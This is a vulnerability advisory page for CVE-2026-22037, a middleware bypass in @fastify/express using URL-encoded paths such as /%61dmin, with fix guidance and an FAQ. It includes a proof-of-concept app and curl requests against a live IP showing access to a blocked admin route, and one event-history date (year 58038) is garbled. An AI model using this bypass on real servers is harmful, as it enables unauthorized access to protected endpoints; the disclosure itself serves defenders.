CVE-2026-22037: @fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)

Published Jan 19, 2026
·
Updated

Summary A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.

PoC Step 1: Run the following Fastify application (save as app.js):

javascript const fastify = require('fastify')({ logger: true });

async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express'));

// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });

// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });

fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });

fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; });

// Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } }

start();

Step 2: Execute the attack.

➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html>

(fastify express)

➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"}

It differs from CVE-2026-22031 because this is a different npm module with its own code.

Other sources

The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.

MITRE

Affected Software

2 affected componentsFixes available
npm/@fastify/express<4.0.3
npm/@fastify/express<=4.0.2
4.0.3

Event History

Jan 19, 2026
CVE Published
via MITRE·04:48 PM
Data Sourced
via MITRE·04:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Jan 20, 2026
Advisory Published
via GitHub·04:35 PM
Data Sourced
via GitHub·04:35 PM
DescriptionSeverityWeaknessAffected Software
Jun 11, 58038
Event
via FIRST·11:54 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22037?

CVE-2026-22037 has been classified as a moderate severity vulnerability.

2

How do I fix CVE-2026-22037?

To fix CVE-2026-22037, upgrade @fastify/express to version 4.0.3 or higher.

3

What does CVE-2026-22037 affect?

CVE-2026-22037 affects the @fastify/express plugin used in applications that require Express compatibility.

4

What type of vulnerability is CVE-2026-22037?

CVE-2026-22037 is classified as an issue related to improper handling of URL encoding.

5

Can CVE-2026-22037 allow unauthorized access?

Yes, CVE-2026-22037 can potentially allow bypass of middleware, leading to unauthorized access.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203